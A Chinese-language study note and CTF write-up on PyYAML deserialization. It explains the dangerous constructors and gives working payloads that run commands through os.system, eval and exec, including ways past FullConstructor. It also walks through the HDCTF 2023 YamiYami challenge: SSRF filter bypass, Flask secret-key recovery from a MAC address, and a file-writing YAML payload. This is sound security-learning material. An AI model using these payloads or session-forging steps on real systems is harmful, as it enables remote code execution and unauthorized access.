PyYAML反序列化学习

前置知识

YAML基础

YAML最常见的就是来写配置文件,比如 k8s 的所有资源都可以用 YAML 表示。它可以简单表达清单、散列表,标量等数据形态,相比于 JSON 对用户更友好。

YAML基础语法不在此赘述,记一个反序列化所需要的知识——类型转换。YAML中可以用过!!来对数据的类型进行转换:

>>> document1 = "a: 1"
>>> document2 = "a: !!str 1"	# 用 !!str 对数字 1 进行类型转换
>>> d1 = yaml.load(document1)
>>> d2 = yaml.load(document2)
>>> print(type(d1['a']))
<class 'int'>
>>> print(type(d2['a']))
<class 'str'>

PyYAML

所以只要按照YAML格式就可以实现一个解析YAML的功能,在Python中有一些实现这个解析的库,这里聚焦的是PyYAML

而这个PyYAML库对!!做了一些魔改。在PyYAML支持一些!!开头的 YAML Tag,这些Tag可以将不同的内容转换为Python对象。下面是PyYAML支持的 YAML Tag 类型:

其中红色框中的也是PyYAML实现中存在攻击点的部分。

PyYAML与序列化

序列化就是把对象转化为可传输的字节序列过程,PyYAML中也支持了这一功能,下面通过一个简单的实验观察下 Python 序列化的特点。

首先在poc_text.py中写入并执行:

import yaml


class poc:
    def __del__(self):
        print('Hello Hacker')


if __name__ == '__main__':
    payload = yaml.dump(poc())
    print(payload)		# 输出为:!!python/object:__main__.poc {}

对输出简单的理解:!!python/object表示要转换的类型,__main__.poc是指向的该文件的poc类。

现在修改序列化中的__main__为文件名poc_txt,在同一个目录下的另一个文件中写入:

import yaml

payload = '!!python/object:poc_test.poc {}'
yaml.load(payload)

这段代码执行时,yaml.load根据payload的内容,在poc_txt这个module下寻找poc这个类去读取,然后就会触发poc类中的销毁方法,输出我们的内容。

攻击思路

版本 < 5.1

<5.1 版本中提供了几个方法用于解析 YAML:

  1. yaml.load:加载单个 YAML 配置
  2. yaml.load_all:加载多个 YAML 配置

构造器:

  1. BaseConstructor:最最基础的构造器,不支持强制类型转换
  2. SafeConstructor:集成 BaseConstructor,强制类型转换和 YAML 规范保持一致,没有魔改
  3. Constructor:在 YAML 规范上新增了很多强制类型转换

Constructor 这个是最危险的构造器,却是默认使用的构造器。

这个版本攻击方式是最简单的,几乎Python中所有模块的类都可以使用,根据PyYAML提供的这几个魔改类型,用对简单的方式构造一个命令执行方式:

payload = '!!python/object/apply:os.system ["ls"]'
yaml.load(payload)

转换python/object/apply这个类型对应的函数是$PYTHON_HOME/lib/site-packages/yaml/constructor.py中的Constructor.construct_python_object_apply,触发代码执行的是make_python_instance这个函数。

make_python_instance会通过cls(*args, **kwds)调用输入的方法。

find_python_name会根据输入的suffix,寻找相应的对象,同时引入对应的模块。在上面这个例子中suffix就是os.systemfind_python_name在执行中会 import os这个模块,同时返回system这个方法。

关键方法

除了上面的python/object/apply,其他几个Complex Python Tag也有相应的利用方法。

python/object/new

对应的函数是construct_python_object_new,这个函数仅有一行,就是调用 construct_python_object_apply。唯一不同在它指定了newobj参数为True,这在make_python_instance的工作时会有所不同,但大致是一样的。

python/object

对应的函数是construct_python_object,它执行了make_python_instance,也可以调用我们构造的方法。但这里没法传参,所以只能执行无参函数。

python/module

对应的函数是construct_python_module,仅仅调用了find_python_module,相当于进行了一次import

python/name

对应的函数是construct_python_name,里面调用了 find_python_name,与 python/module 的逻辑极其类似,区别在于,python/module 仅仅返回模块而 python/name 返回的是模块下面的属性/方法。后面payload的构造中可以利用来引入方法。

版本 >= 5.1

新增了构造器:

  • BaseConstructor:没有任何强制类型转换
  • SafeConstructor:只有基础类型的强制类型转换
  • FullConstructor:除了python/object/apply之外都支持,但是加载的模块必须位于 **sys.modules** 中(说明已经主动 import 过了才让加载)。这个是默认的构造器。
  • UnsafeConstructor:支持全部的强制类型转换
  • Constructor:等同于 UnsafeConstructor

新增了加载方法:

  • yaml.full_load
  • yaml.full_load_all
  • yaml.unsafe_load
  • yaml.unsafe_load_all

突破FullConstructor

FullConstructor 中,限制了只允许加载 sys.modules 中的模块,同时取消了construct_python_object_apply函数。那么构造的材料就只能来自于中,由于能力有限这里仅对payload进行记录分析。

payload1

!!python/object/new:tuple
- !!python/object/new:map
  - !!python/name:eval
  - ["__import__('os').system('whoami')"]

这个原形是:tuple(map(eval, ["__import__('os').system('whoami')"]))。map函数创建一个迭代器,再由tuple抽取运行。

payload2

原形:

exp = type("exp", (list, ), {"__setstate__": eval})
exp.__setstate__("__import__('os').system('whoami')")

payload:

!!python/object/new:type
args:
  - exp
  - !!python/tuple []
  - {"extend": !!python/name:exec }
listitems: "__import__('os').system('whoami')"

payload3

原形:

exp = type("exp", (list, ), {"__setstate__": eval})
exp.__setstate__("__import__('os').system('whoami')")

payload:

!!python/object/new:type
args:
  - exp
  - !!python/tuple []
  - {"__setstate__": !!python/name:eval }
state: "__import__('os').system('whoami')"

payload4

原形:

exp = staticmethod([0])
exp.__dict__.update(
    {"update": eval, "items": list}
)
exp_raise = str()
# 由于 str 没有 __dict__ 方法,所以在 PyYAML 解析时会触发下面调用

exp.update("__import__('os').system('whoami')")

payload:

!!python/object/new:str
    args: []
    # 通过 state 触发调用
    state: !!python/tuple
      - "__import__('os').system('whoami')"
      # 下面构造 exp
      - !!python/object/new:staticmethod
        args: []
        state: 
          update: !!python/name:eval
          items: !!python/name:list  # 不设置这个也可以,会报错但也已经执行成功

[HDCTF 2023]YamiYami

/read?url=路径存在ssrf,利用file协议读文件。

读取/proc/self/cmdline获取启动文件路径:/app/app.py

check规则re.findall('app.*', url, re.IGNORECASE)。因为是ssrf,所以采用url二次编码绕过:file:///%2561pp/%2561pp.py

审计源码:

@app.route('/boogipop')
def load():
    if session.get("passport")=="Welcome To HDCTF2023":
        LoadedFile=request.args.get("file")
        if not os.path.exists(LoadedFile):
            return "file not exists"
        with open(LoadedFile) as f:
            yaml.full_load(f)
            f.close()
        return "van you see"
    else:
        return "No Auth bro"

flask session伪造和YAML反序列化

flask session伪造

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

uuid.getnode():返回网卡的MAC地址对应的整数。那么我们可以去读主机的MAC地址,来计算SECRET_KEY

读MAC:file:///sys/class/net/eth0/address

计算SECRET_KEY

mac_address = '02:42:ac:02:0d:a0'
mac_address_int = int(mac_address.replace(":", ""), 16)
print(mac_address_int)
import random
random.seed(mac_address_int)
SECRET_KEY = str(random.random()*233)
print(SECRET_KEY)

之后使用flask-session-cookie-manager伪造session。

YAML反序列化

这里用yaml.full_load加载,所以版本>=5.1。因为在服务器上不像在本地执行有回显,有两个思路:

  • 写文件来保存执行结果
  • 反弹shell

这里我没有服务器,所以用了第一种。注意这里的同级目录是无法写的,但是在源码中我们知道了,文件上传的路径是/app/uploads,所以命令执行的结果可以写在这个目录下的文件中,再通过ssrf读文件。

上传含有payload的yaml格式文件,读取根目录的文件,同时将输出结果保存到/app/uploads/output2.txt中。

!!python/object/new:tuple
- !!python/object/new:map
  - !!python/name:exec
  - [ "import os; result = os.popen('ls /').read(); f = open('/app/uploads/output2.txt', 'w'); f.write(result); f.close()" ]

在页面触发yaml反序列化

读文件


参考链接

https://www.freebuf.com/vuls/256243.html
https://pyyaml.org/wiki/PyYAMLDocumentation
https://xz.aliyun.com/t/7923#toc-3
https://www.tr0y.wang/2022/06/06/SecMap-unserialize-pyyaml/#